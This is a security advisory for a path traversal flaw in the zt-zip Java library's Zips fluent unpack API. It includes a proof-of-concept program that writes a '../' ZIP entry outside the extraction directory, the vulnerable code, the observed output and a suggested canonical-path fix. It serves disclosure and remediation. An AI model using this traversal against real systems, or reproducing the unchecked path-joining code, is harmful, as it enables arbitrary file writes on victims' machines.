CVE-2026-63436: zt-zip: Path traversal in fluent API unpack
### Summary `ZipUtil.unpack(...)` rejects ZIP entries that escape the target output directory, but the `Zips` fluent API appears to use a separate unpack implementation that does not apply the same destination-boundary check. A ZIP entry such as: ```text ../escape/poc.txt ``` is written outside the configured destination directory when processed with: ```java Zips.get(zip).unpack().destination(outputDir).process(); ``` The transformer branch is affected as well. ### Tested Version commit: 067935dca375500d3ff025aafcdf0e4283931b1a ### Root Cause In `src/main/java/org/zeroturnaround/zip/Zips.java`, `Zips.UnpackingCallback.process(...)` builds the output file directly from the ZIP entry name: ```java String entryName = zipEntry.getName(); File file = new File(destination, entryName); ``` The method then creates directories/files and copies content to that path: ```java FileUtils.forceMkdir(file.getParentFile()); file.createNewFile(); FileUtils.copy(in, file); ``` When a transformer is configured, the same `file` is passed to `transformIntoFile(...)`. There does not appear to be a canonical path check before these filesystem writes, so `../` entries can resolve outside `destination`. ### Minimal Reproduction ```java import java.io.*; import java.nio.charset.StandardCharsets; import java.nio.file.*; import java.util.zip.*; import org.zeroturnaround.zip.ZipUtil; import org.zeroturnaround.zip.Zips; import org.zeroturnaround.zip.transform.ZipEntryTransformer; public class ZipsTraversalPoc { public static void main(String[] args) throws Exception { Path work = Files.createTempDirectory("ztzip-zips-poc"); Path zip = work.resolve("poc.zip"); Path escaped = work.resolve("escape").resolve("poc.txt"); String entryName = "../escape/poc.txt"; Files.createDirectories(escaped.getParent()); try (ZipOutputStream zos = new ZipOutputStream(Files.newOutputStream(zip))) { zos.putNextEntry(new ZipEntry(entryName)); zos.write("plain branch\n".getBytes(StandardCharsets.UTF_8)); zos.closeEntry(); } Path zipUtilOut = work.resolve("ziputil-out"); Files.createDirectories(zipUtilOut); try { ZipUtil.unpack(zip.toFile(), zipUtilOut.toFile()); System.out.println("ZIPUTIL_REJECTED=false"); } catch (Throwable t) { System.out.println("ZIPUTIL_REJECTED=" + t.getClass().getName()); } System.out.println("ZIPUTIL_ESCAPED_EXISTS=" + Files.exists(escaped)); Files.deleteIfExists(escaped); Path zipsOut = work.resolve("zips-out"); Files.createDirectories(zipsOut); Zips.get(zip.toFile()).unpack().destination(zipsOut.toFile()).process(); System.out.println("ZIPS_PLAIN_ESCAPED_EXISTS=" + Files.exists(escaped)); System.out.println("ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsOut.normalize())); Files.deleteIfExists(escaped); Path zipsTransformOut = work.resolve("zips-transform-out"); Files.createDirectories(zipsTransformOut); Zips.get(zip.toFile()) .unpack() .destination(zipsTransformOut.toFile()) .addTransformer(entryName, new ZipEntryTransformer() { public void transform(InputStream in, ZipEntry entry, ZipOutputStream out) throws IOException { out.putNextEntry(new ZipEntry(entry.getName())); out.write("transform branch\n".getBytes(StandardCharsets.UTF_8)); out.closeEntry(); } }) .process(); System.out.println("ZIPS_TRANSFORM_ESCAPED_EXISTS=" + Files.exists(escaped)); System.out.println("ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=" + !escaped.normalize().startsWith(zipsTransformOut.normalize())); } } ``` Observed output: ```text ZIPUTIL_REJECTED=org.zeroturnaround.zip.MaliciousZipException ZIPUTIL_ESCAPED_EXISTS=false ZIPS_PLAIN_ESCAPED_EXISTS=true ZIPS_PLAIN_ESCAPED_OUTSIDE_ROOT=true ZIPS_TRANSFORM_ESCAPED_EXISTS=true ZIPS_TRANSFORM_ESCAPED_OUTSIDE_ROOT=true ``` ### Expected Behavior `Zips.get(zip).unpack().destination(outputDir).process()` should reject traversal entries or otherwise ensure that the resolved output path remains inside `outputDir`. ### Impact Applications that unpack attacker-controlled ZIP files through the `Zips` fluent API may allow arbitrary file writes outside the intended extraction directory, depending on filesystem permissions and application layout. ### Suggested Fix Apply the same destination-boundary validation used by `ZipUtil.unpack(...)` before any filesystem write in `Zips.UnpackingCallback.process(...)`. For example, compare canonical `Path` values before creating directories or files: ```java file.getCanonicalFile().toPath() .startsWith(destination.getCanonicalFile().toPath()) ``` Regression tests should cover both: ```java Zips.get(zip).unpack().destination(out).process(); Zips.get(zip).unpack().destination(out).addTransformer(...).process();
Recommended action
Recommended action
Upgrade affected packages to a patched version: org.zeroturnaround:zt-zip 1.18.0.
Technical details
- Vendor
- Not specified
- Product
- org.zeroturnaround:zt-zip
- Exploitation
- none known
- Evidence
- official
Evidence and sources
This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.
Open primary source